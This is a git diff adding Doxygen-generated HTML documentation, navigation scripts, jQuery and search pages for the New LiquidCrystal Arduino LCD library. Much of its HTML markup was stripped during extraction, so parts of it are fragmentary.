+
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/hierarchy.js b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.js new file mode 100644 index 0000000..26add4e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.js @@ -0,0 +1,18 @@ +var hierarchy = +[ + [ "I2CIO", "class_i2_c_i_o.html", null ], + [ "Print", null, [ + [ "LCD", "class_l_c_d.html", [ + [ "LiquidCrystal", "class_liquid_crystal.html", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html", null ], + [ "LiquidCrystal_I2C_ByVac", "class_liquid_crystal___i2_c___by_vac.html", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html", null ], + [ "LiquidCrystal_SR", "class_liquid_crystal___s_r.html", null ], + [ "LiquidCrystal_SR1W", "class_liquid_crystal___s_r1_w.html", null ], + [ "LiquidCrystal_SR2W", "class_liquid_crystal___s_r2_w.html", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html", null ] + ] ] + ] ], + [ "SI2CIO", "class_s_i2_c_i_o.html", null ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/index.html b/libraries/NewliquidCrystal/utility/docs/html/index.html new file mode 100644 index 0000000..c070349 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/index.html @@ -0,0 +1,92 @@ + + + + + + +New LiquidCrystal library: Main Page + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + +
+ +
+
+ + +
+ +
+ +
+
+
New LiquidCrystal library Documentation
+
+
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/installdox b/libraries/NewliquidCrystal/utility/docs/html/installdox new file mode 100644 index 0000000..edf5bbf --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/installdox @@ -0,0 +1,112 @@ +#!/usr/bin/perl + +%subst = ( ); +$quiet = 0; + +while ( @ARGV ) { + $_ = shift @ARGV; + if ( s/^-// ) { + if ( /^l(.*)/ ) { + $v = ($1 eq "") ? shift @ARGV : $1; + ($v =~ /\/$/) || ($v .= "/"); + $_ = $v; + if ( /(.+)\@(.+)/ ) { + if ( exists $subst{$1} ) { + $subst{$1} = $2; + } else { + print STDERR "Unknown tag file $1 given with option -l\n"; + &usage(); + } + } else { + print STDERR "Argument $_ is invalid for option -l\n"; + &usage(); + } + } + elsif ( /^q/ ) { + $quiet = 1; + } + elsif ( /^\?|^h/ ) { + &usage(); + } + else { + print STDERR "Illegal option -$_\n"; + &usage(); + } + } + else { + push (@files, $_ ); + } +} + +foreach $sub (keys %subst) +{ + if ( $subst{$sub} eq "" ) + { + print STDERR "No substitute given for tag file `$sub'\n"; + &usage(); + } + elsif ( ! $quiet && $sub ne "_doc" && $sub ne "_cgi" ) + { + print "Substituting $subst{$sub} for each occurrence of tag file $sub\n"; + } +} + +if ( ! @files ) { + if (opendir(D,".")) { + foreach $file ( readdir(D) ) { + $match = ".html"; + next if ( $file =~ /^\.\.?$/ ); + ($file =~ /$match/) && (push @files, $file); + ($file =~ /\.svg/) && (push @files, $file); + ($file =~ "navtree.js") && (push @files, $file); + } + closedir(D); + } +} + +if ( ! @files ) { + print STDERR "Warning: No input files given and none found!\n"; +} + +foreach $f (@files) +{ + if ( ! $quiet ) { + print "Editing: $f...\n"; + } + $oldf = $f; + $f .= ".bak"; + unless (rename $oldf,$f) { + print STDERR "Error: cannot rename file $oldf\n"; + exit 1; + } + if (open(F,"<$f")) { + unless (open(G,">$oldf")) { + print STDERR "Error: opening file $oldf for writing\n"; + exit 1; + } + if ($oldf ne "tree.js") { + while () { + s/doxygen\=\"([^ \"\:\t\>\<]*)\:([^ \"\t\>\<]*)\" (xlink:href|href|src)=\"\2/doxygen\=\"$1:$subst{$1}\" \3=\"$subst{$1}/g; + print G "$_"; + } + } + else { + while () { + s/\"([^ \"\:\t\>\<]*)\:([^ \"\t\>\<]*)\", \"\2/\"$1:$subst{$1}\" ,\"$subst{$1}/g; + print G "$_"; + } + } + } + else { + print STDERR "Warning file $f does not exist\n"; + } + unlink $f; +} + +sub usage { + print STDERR "Usage: installdox [options] [html-file [html-file ...]]\n"; + print STDERR "Options:\n"; + print STDERR " -l tagfile\@linkName tag file + URL or directory \n"; + print STDERR " -q Quiet mode\n\n"; + exit 1; +} diff --git a/libraries/NewliquidCrystal/utility/docs/html/jquery.js b/libraries/NewliquidCrystal/utility/docs/html/jquery.js new file mode 100644 index 0000000..1f4d0b4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/jquery.js @@ -0,0 +1,68 @@ +/*! + * jQuery JavaScript Library v1.7.1 + * http://jquery.com/ + * + * Copyright 2011, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2011, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Mon Nov 21 21:11:03 2011 -0500 + */ +(function(bb,L){var av=bb.document,bu=bb.navigator,bl=bb.location;var b=(function(){var bF=function(b0,b1){return new bF.fn.init(b0,b1,bD)},bU=bb.jQuery,bH=bb.$,bD,bY=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,bM=/\S/,bI=/^\s+/,bE=/\s+$/,bA=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,bN=/^[\],:{}\s]*$/,bW=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,bP=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,bJ=/(?:^|:|,)(?:\s*\[)+/g,by=/(webkit)[ \/]([\w.]+)/,bR=/(opera)(?:.*version)?[ \/]([\w.]+)/,bQ=/(msie) ([\w.]+)/,bS=/(mozilla)(?:.*? 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0},disableSelection:function(){return this.bind((a.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(e){e.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});a.each(["Width","Height"],function(g,e){var f=e==="Width"?["Left","Right"]:["Top","Bottom"],h=e.toLowerCase(),k={innerWidth:a.fn.innerWidth,innerHeight:a.fn.innerHeight,outerWidth:a.fn.outerWidth,outerHeight:a.fn.outerHeight};function j(m,l,i,n){a.each(f,function(){l-=parseFloat(a.curCSS(m,"padding"+this,true))||0;if(i){l-=parseFloat(a.curCSS(m,"border"+this+"Width",true))||0}if(n){l-=parseFloat(a.curCSS(m,"margin"+this,true))||0}});return l}a.fn["inner"+e]=function(i){if(i===d){return k["inner"+e].call(this)}return this.each(function(){a(this).css(h,j(this,i)+"px")})};a.fn["outer"+e]=function(i,l){if(typeof i!=="number"){return k["outer"+e].call(this,i)}return this.each(function(){a(this).css(h,j(this,i,true,l)+"px")})}});function c(g,e){var j=g.nodeName.toLowerCase();if("area"===j){var i=g.parentNode,h=i.name,f;if(!g.href||!h||i.nodeName.toLowerCase()!=="map"){return false}f=a("img[usemap=#"+h+"]")[0];return !!f&&b(f)}return(/input|select|textarea|button|object/.test(j)?!g.disabled:"a"==j?g.href||e:e)&&b(g)}function b(e){return !a(e).parents().andSelf().filter(function(){return a.curCSS(this,"visibility")==="hidden"||a.expr.filters.hidden(this)}).length}a.extend(a.expr[":"],{data:function(g,f,e){return !!a.data(g,e[3])},focusable:function(e){return c(e,!isNaN(a.attr(e,"tabindex")))},tabbable:function(g){var e=a.attr(g,"tabindex"),f=isNaN(e);return(f||e>=0)&&c(g,!f)}});a(function(){var e=document.body,f=e.appendChild(f=document.createElement("div"));f.offsetHeight;a.extend(f.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});a.support.minHeight=f.offsetHeight===100;a.support.selectstart="onselectstart" in f;e.removeChild(f).style.display="none"});a.extend(a.ui,{plugin:{add:function(f,g,j){var h=a.ui[f].prototype;for(var e in j){h.plugins[e]=h.plugins[e]||[];h.plugins[e].push([g,j[e]])}},call:function(e,g,f){var j=e.plugins[g];if(!j||!e.element[0].parentNode){return}for(var h=0;h0){return true}h[e]=1;g=(h[e]>0);h[e]=0;return g},isOverAxis:function(f,e,g){return(f>e)&&(f<(e+g))},isOver:function(j,f,i,h,e,g){return a.ui.isOverAxis(j,i,e)&&a.ui.isOverAxis(f,h,g)}})})(jQuery);/*! + * jQuery UI Widget 1.8.18 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Widget + */ +(function(b,d){if(b.cleanData){var c=b.cleanData;b.cleanData=function(f){for(var g=0,h;(h=f[g])!=null;g++){try{b(h).triggerHandler("remove")}catch(j){}}c(f)}}else{var a=b.fn.remove;b.fn.remove=function(e,f){return this.each(function(){if(!f){if(!e||b.filter(e,[this]).length){b("*",this).add([this]).each(function(){try{b(this).triggerHandler("remove")}catch(g){}})}}return a.call(b(this),e,f)})}}b.widget=function(f,h,e){var g=f.split(".")[0],j;f=f.split(".")[1];j=g+"-"+f;if(!e){e=h;h=b.Widget}b.expr[":"][j]=function(k){return !!b.data(k,f)};b[g]=b[g]||{};b[g][f]=function(k,l){if(arguments.length){this._createWidget(k,l)}};var i=new h();i.options=b.extend(true,{},i.options);b[g][f].prototype=b.extend(true,i,{namespace:g,widgetName:f,widgetEventPrefix:b[g][f].prototype.widgetEventPrefix||f,widgetBaseClass:j},e);b.widget.bridge(f,b[g][f])};b.widget.bridge=function(f,e){b.fn[f]=function(i){var g=typeof i==="string",h=Array.prototype.slice.call(arguments,1),j=this;i=!g&&h.length?b.extend.apply(null,[true,i].concat(h)):i;if(g&&i.charAt(0)==="_"){return j}if(g){this.each(function(){var k=b.data(this,f),l=k&&b.isFunction(k[i])?k[i].apply(k,h):k;if(l!==k&&l!==d){j=l;return false}})}else{this.each(function(){var k=b.data(this,f);if(k){k.option(i||{})._init()}else{b.data(this,f,new e(i,this))}})}return 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http://jquery.org/license + * + * http://docs.jquery.com/UI/Mouse + * + * Depends: + * jquery.ui.widget.js + */ +(function(b,c){var a=false;b(document).mouseup(function(d){a=false});b.widget("ui.mouse",{options:{cancel:":input,option",distance:1,delay:0},_mouseInit:function(){var d=this;this.element.bind("mousedown."+this.widgetName,function(e){return d._mouseDown(e)}).bind("click."+this.widgetName,function(e){if(true===b.data(e.target,d.widgetName+".preventClickEvent")){b.removeData(e.target,d.widgetName+".preventClickEvent");e.stopImmediatePropagation();return false}});this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName)},_mouseDown:function(f){if(a){return}(this._mouseStarted&&this._mouseUp(f));this._mouseDownEvent=f;var e=this,g=(f.which==1),d=(typeof this.options.cancel=="string"&&f.target.nodeName?b(f.target).closest(this.options.cancel).length:false);if(!g||d||!this._mouseCapture(f)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){e.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(f)&&this._mouseDelayMet(f)){this._mouseStarted=(this._mouseStart(f)!==false);if(!this._mouseStarted){f.preventDefault();return true}}if(true===b.data(f.target,this.widgetName+".preventClickEvent")){b.removeData(f.target,this.widgetName+".preventClickEvent")}this._mouseMoveDelegate=function(h){return e._mouseMove(h)};this._mouseUpDelegate=function(h){return e._mouseUp(h)};b(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);f.preventDefault();a=true;return true},_mouseMove:function(d){if(b.browser.msie&&!(document.documentMode>=9)&&!d.button){return this._mouseUp(d)}if(this._mouseStarted){this._mouseDrag(d);return d.preventDefault()}if(this._mouseDistanceMet(d)&&this._mouseDelayMet(d)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,d)!==false);(this._mouseStarted?this._mouseDrag(d):this._mouseUp(d))}return !this._mouseStarted},_mouseUp:function(d){b(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;if(d.target==this._mouseDownEvent.target){b.data(d.target,this.widgetName+".preventClickEvent",true)}this._mouseStop(d)}return false},_mouseDistanceMet:function(d){return(Math.max(Math.abs(this._mouseDownEvent.pageX-d.pageX),Math.abs(this._mouseDownEvent.pageY-d.pageY))>=this.options.distance)},_mouseDelayMet:function(d){return this.mouseDelayMet},_mouseStart:function(d){},_mouseDrag:function(d){},_mouseStop:function(d){},_mouseCapture:function(d){return true}})})(jQuery);(function(c,d){c.widget("ui.resizable",c.ui.mouse,{widgetEventPrefix:"resize",options:{alsoResize:false,animate:false,animateDuration:"slow",animateEasing:"swing",aspectRatio:false,autoHide:false,containment:false,ghost:false,grid:false,handles:"e,s,se",helper:false,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:1000},_create:function(){var f=this,k=this.options;this.element.addClass("ui-resizable");c.extend(this,{_aspectRatio:!!(k.aspectRatio),aspectRatio:k.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:k.helper||k.ghost||k.animate?k.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){this.element.wrap(c('
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');if(/sw|se|ne|nw/.test(j)){h.css({zIndex:++k.zIndex})}if("se"==j){h.addClass("ui-icon ui-icon-gripsmall-diagonal-se")}this.handles[j]=".ui-resizable-"+j;this.element.append(h)}}this._renderAxis=function(q){q=q||this.element;for(var n in this.handles){if(this.handles[n].constructor==String){this.handles[n]=c(this.handles[n],this.element).show()}if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var o=c(this.handles[n],this.element),p=0;p=/sw|ne|nw|se|n|s/.test(n)?o.outerHeight():o.outerWidth();var m=["padding",/ne|nw|n/.test(n)?"Top":/se|sw|s/.test(n)?"Bottom":/^e$/.test(n)?"Right":"Left"].join("");q.css(m,p);this._proportionallyResize()}if(!c(this.handles[n]).length){continue}}};this._renderAxis(this.element);this._handles=c(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!f.resizing){if(this.className){var i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)}f.axis=i&&i[1]?i[1]:"se"}});if(k.autoHide){this._handles.hide();c(this.element).addClass("ui-resizable-autohide").hover(function(){if(k.disabled){return}c(this).removeClass("ui-resizable-autohide");f._handles.show()},function(){if(k.disabled){return}if(!f.resizing){c(this).addClass("ui-resizable-autohide");f._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var e=function(g){c(g).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){e(this.element);var f=this.element;f.after(this.originalElement.css({position:f.css("position"),width:f.outerWidth(),height:f.outerHeight(),top:f.css("top"),left:f.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);e(this.originalElement);return this},_mouseCapture:function(f){var g=false;for(var e in this.handles){if(c(this.handles[e])[0]==f.target){g=true}}return !this.options.disabled&&g},_mouseStart:function(g){var j=this.options,f=this.element.position(),e=this.element;this.resizing=true;this.documentScroll={top:c(document).scrollTop(),left:c(document).scrollLeft()};if(e.is(".ui-draggable")||(/absolute/).test(e.css("position"))){e.css({position:"absolute",top:f.top,left:f.left})}this._renderProxy();var k=b(this.helper.css("left")),h=b(this.helper.css("top"));if(j.containment){k+=c(j.containment).scrollLeft()||0;h+=c(j.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:k,top:h};this.size=this._helper?{width:e.outerWidth(),height:e.outerHeight()}:{width:e.width(),height:e.height()};this.originalSize=this._helper?{width:e.outerWidth(),height:e.outerHeight()}:{width:e.width(),height:e.height()};this.originalPosition={left:k,top:h};this.sizeDiff={width:e.outerWidth()-e.width(),height:e.outerHeight()-e.height()};this.originalMousePosition={left:g.pageX,top:g.pageY};this.aspectRatio=(typeof j.aspectRatio=="number")?j.aspectRatio:((this.originalSize.width/this.originalSize.height)||1);var i=c(".ui-resizable-"+this.axis).css("cursor");c("body").css("cursor",i=="auto"?this.axis+"-resize":i);e.addClass("ui-resizable-resizing");this._propagate("start",g);return true},_mouseDrag:function(e){var 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+
+
README
+
+
+

Introduction

+
+LCD library +
+

Welcome to the LCD Library for Arduino and Chipkit. It is a derivate of the original LiquidCrystal Library as sourced in the Arduino SDK. It has been developed to be compatible with the current LiquidCrystal library, its performance is almost 5 times faster and fully extendable if need be.

+

It supports most Hitachi HD44780 based LCDs, or compatible, connected to any project using: 4, 8 wire parallel interface, I2C IO port expander (native I2C and bit bang) and Shift Regiter.

+

It currently supports 4 types of connections:

+
    +
  • 4 bit parallel LCD interface
    • +
  • 8 bit parallel LCD interface
    • +
  • I2C IO bus expansion board with the PCF8574* I2C IO expander ASIC such as I2C LCD extra IO.
    • +
  • ShiftRegister adaptor board as described Shift Register project home or in the HW configuration described below, 2 and 3 wire configurations supported.
    • +
  • ShiftRegister 3 wire latch adaptor board as described ShiftRegister 3 Wire Home
    • +
  • Support for 1 wire shift register ShiftRegister 1 Wire
    • +
  • I2C bus expansion using general purpose IO lines.
    • +
+

How do I get set up?

+
    +
  • Please refer to the project's wiki
    • +
+

Contributors

+

The library has had the invaluable contribution of:

+
    +
  • piccaso - Florian Fida - Flo, thanks for testing and improving the SR library, initial version of the 1 wire interface and speed improvements.
    • +
  • B. Perry - *bperrybap.billsworld.billandterrie.com*, with his thoughtful contribution, speed improvements and development support for the SR2W library.
    • +
  • Adrian Piccioli, with his contribution to the i2c GPIO support.
    • +
  • todbot Tod E. Kurt for the softwarei2cmaster library.
    • +
+

Contribution guidelines

+
    +
  • Writing tests
    • +
  • Code review
    • +
  • Help out with bug fixing
    • +
  • Setup a project logo
    • +
  • Write new drivers to support more LCDs.
    • +
+

Who do I talk to?

+
    +
  • Repo owner or admin
    • +
  • For SoftI2CMaster latest versions, updates and support, please refer to SoftI2CMaster
    • +
+
+ +
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+ expandNode(o, node, imm, showRoot); + }, showRoot); + } else { + if (!node.childrenVisited) { + getNode(o, node); + } if (imm || ($.browser.msie && $.browser.version>8)) { + // somehow slideDown jumps to the start of tree for IE9 :-( + $(node.getChildrenUL()).show(); + } else { + $(node.getChildrenUL()).slideDown("fast"); + } + if (node.isLast) { + node.plus_img.src = node.relpath+"arrowdown.png"; + } else { + node.plus_img.src = node.relpath+"arrowdown.png"; + } + node.expanded = true; + } + } +} + +function glowEffect(n,duration) +{ + n.addClass('glow').delay(duration).queue(function(next){ + $(this).removeClass('glow');next(); + }); +} + +function highlightAnchor() +{ + var aname = hashUrl(); + var anchor = $(aname); + if (anchor.parent().attr('class')=='memItemLeft'){ + var rows = $('.memberdecls tr[class$="'+hashValue()+'"]'); + glowEffect(rows.children(),300); // member without details + } else if (anchor.parent().attr('class')=='fieldname'){ + glowEffect(anchor.parent().parent(),1000); // enum value + } else if (anchor.parent().attr('class')=='fieldtype'){ + glowEffect(anchor.parent().parent(),1000); // struct field + } else if (anchor.parent().is(":header")) { + glowEffect(anchor.parent(),1000); // section header + } else { + glowEffect(anchor.next(),1000); // normal member + } + gotoAnchor(anchor,aname,false); +} + +function selectAndHighlight(hash,n) +{ + var a; + if (hash) { + var link=stripPath(pathName())+':'+hash.substring(1); + a=$('.item a[class$="'+link+'"]'); + } + if (a && a.length) { + a.parent().parent().addClass('selected'); + a.parent().parent().attr('id','selected'); + highlightAnchor(); + } else if (n) { + $(n.itemDiv).addClass('selected'); + $(n.itemDiv).attr('id','selected'); + } + if ($('#nav-tree-contents .item:first').hasClass('selected')) { + $('#nav-sync').css('top','30px'); + } else { + $('#nav-sync').css('top','5px'); + } + showRoot(); +} + +function showNode(o, node, index, hash) +{ + if (node && node.childrenData) { + if (typeof(node.childrenData)==='string') { + var varName = node.childrenData; + getScript(node.relpath+varName,function(){ + node.childrenData = getData(varName); + showNode(o,node,index,hash); + },true); + } else { + if (!node.childrenVisited) { + getNode(o, node); + } + $(node.getChildrenUL()).css({'display':'block'}); + node.plus_img.src = node.relpath+"arrowdown.png"; + node.expanded = true; + var n = node.children[o.breadcrumbs[index]]; + if (index+11) hash = '#'+parts[1].replace(/[^\w\-]/g,''); + else hash=''; + } + if (hash.match(/^#l\d+$/)) { + var anchor=$('a[name='+hash.substring(1)+']'); + glowEffect(anchor.parent(),1000); // line number + hash=''; // strip line number anchors + } + var url=root+hash; + var i=-1; + while (NAVTREEINDEX[i+1]<=url) i++; + if (i==-1) { i=0; root=NAVTREE[0][1]; } // fallback: show index + if (navTreeSubIndices[i]) { + gotoNode(o,i,root,hash,relpath) + } else { + getScript(relpath+'navtreeindex'+i,function(){ + navTreeSubIndices[i] = eval('NAVTREEINDEX'+i); + if (navTreeSubIndices[i]) { + gotoNode(o,i,root,hash,relpath); + } + },true); + } +} + +function showSyncOff(n,relpath) +{ + n.html(''); +} + +function showSyncOn(n,relpath) +{ + n.html(''); +} + +function toggleSyncButton(relpath) +{ + var navSync = $('#nav-sync'); + if (navSync.hasClass('sync')) { + navSync.removeClass('sync'); + showSyncOff(navSync,relpath); + storeLink(stripPath2(pathName())+hashUrl()); + } else { + navSync.addClass('sync'); + showSyncOn(navSync,relpath); + deleteLink(); + } +} + +function initNavTree(toroot,relpath) +{ + var o = new Object(); + o.toroot = toroot; + o.node = new Object(); + o.node.li = document.getElementById("nav-tree-contents"); + o.node.childrenData = NAVTREE; + o.node.children = new Array(); + o.node.childrenUL = document.createElement("ul"); + o.node.getChildrenUL = function() { return o.node.childrenUL; }; + o.node.li.appendChild(o.node.childrenUL); + o.node.depth = 0; + o.node.relpath = relpath; + o.node.expanded = false; + o.node.isLast = true; + o.node.plus_img = document.createElement("img"); + o.node.plus_img.src = relpath+"arrowright.png"; + o.node.plus_img.width = 16; + o.node.plus_img.height = 22; + + if (localStorageSupported()) { + var navSync = $('#nav-sync'); + if (cachedLink()) { + showSyncOff(navSync,relpath); + navSync.removeClass('sync'); + } else { + showSyncOn(navSync,relpath); + } + navSync.click(function(){ toggleSyncButton(relpath); }); + } + + $(window).load(function(){ + navTo(o,toroot,hashUrl(),relpath); + showRoot(); + }); + + $(window).bind('hashchange', function(){ + if (window.location.hash && window.location.hash.length>1){ + var a; + if ($(location).attr('hash')){ + var clslink=stripPath(pathName())+':'+hashValue(); + a=$('.item a[class$="'+clslink.replace(/1|%O$WD@{VPM$7~Ar*{o?;hlAFyLXmaDC0y znK1_#cQqJWPES%4Uujug^TE?jMft$}Eq^WaR~)%f)vSNs&gek&x%A9X9sM + + + + + +New LiquidCrystal library: Related Pages + + + + + + + + + + +
+
+
+ + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+ + + + + + + +
+
+ + +
+ +
+ +
+
+
Related Pages
+
+
+
Here is a list of all related documentation pages:
+ + +
 README
+
+
+ +
+Generated by   +doxygen + 1.8.10 +
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+
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+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6.html new file mode 100644 index 0000000..821c374 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6.html @@ -0,0 +1,26 @@ + + + + + + + + + +
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+ +
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_63.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_63.html new file mode 100644 index 0000000..fd37373 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_63.html @@ -0,0 +1,44 @@ + + + + + + + +
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Searching...
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_64.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_64.html new file mode 100644 index 0000000..e66c526 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_64.html @@ -0,0 +1,80 @@ + + + + + + + +
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+
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_68.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_68.html new file mode 100644 index 0000000..33a52d6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_68.html @@ -0,0 +1,38 @@ + + + + + + + +
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Loading...
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+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_69.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_69.html new file mode 100644 index 0000000..2bbba17 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_69.html @@ -0,0 +1,39 @@ + + + + + + + +
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Loading...
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+
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Searching...
+
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6c.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6c.html new file mode 100644 index 0000000..dd5ad3f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6c.html @@ -0,0 +1,392 @@ + + + + + + + +
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Loading...
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Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6d.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6d.html new file mode 100644 index 0000000..6a0ea3f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6d.html @@ -0,0 +1,32 @@ + + + + + + + +
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Loading...
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+
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+
+ moveCursorRight + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6e.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6e.html new file mode 100644 index 0000000..f3e1f8b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6e.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
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+
+ NEGATIVE + LCD.h +
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Searching...
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No Matches
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_6f.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_6f.html new file mode 100644 index 0000000..e5e659c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_6f.html @@ -0,0 +1,32 @@ + + + + + + + +
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Loading...
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+ off + LCD +
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+ on + LCD +
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Searching...
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No Matches
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Loading...
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_7.js b/libraries/NewliquidCrystal/utility/docs/html/search/all_7.js new file mode 100644 index 0000000..0ac9232 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_7.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['movecursorleft',['moveCursorLeft',['../class_l_c_d.html#aad2abc99d1aca5403873579d9d72c2d4',1,'LCD']]], + ['movecursorright',['moveCursorRight',['../class_l_c_d.html#a09eec0c712e54b066f5894635c1fe75c',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_70.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_70.html new file mode 100644 index 0000000..29b653f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_70.html @@ -0,0 +1,38 @@ + + + + + + + +
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Loading...
+
+
+ pinMode + I2CIO +
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+ portMode + I2CIO +
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+
+ POSITIVE + LCD.h +
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+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_72.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_72.html new file mode 100644 index 0000000..d2d6cc6 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_72.html @@ -0,0 +1,50 @@ + + + + + + + +
+
Loading...
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+
+ read + I2CIO +
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+
+
+ rightToLeft + LCD +
+
+ + +
Searching...
+
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_73.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_73.html new file mode 100644 index 0000000..2c155a9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_73.html @@ -0,0 +1,205 @@ + + + + + + + +
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Loading...
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+
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+ SW_CLEAR + LiquidCrystal_SR1W.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_74.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_74.html new file mode 100644 index 0000000..99245c7 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_74.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ t_backlighPol + LCD.h +
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+
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+ t_sr1w_circuitType + LiquidCrystal_SR1W.h +
+
+
+
+ TWO_WIRE + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_77.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_77.html new file mode 100644 index 0000000..d81a974 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_77.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
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+
+ waitUsec + LCD.h +
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+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/all_8.html b/libraries/NewliquidCrystal/utility/docs/html/search/all_8.html new file mode 100644 index 0000000..2a22cd5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/all_8.html @@ -0,0 +1,26 @@ + + + + + + + + + +
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+ +
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+ backlight + LCD +
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+ + +
Searching...
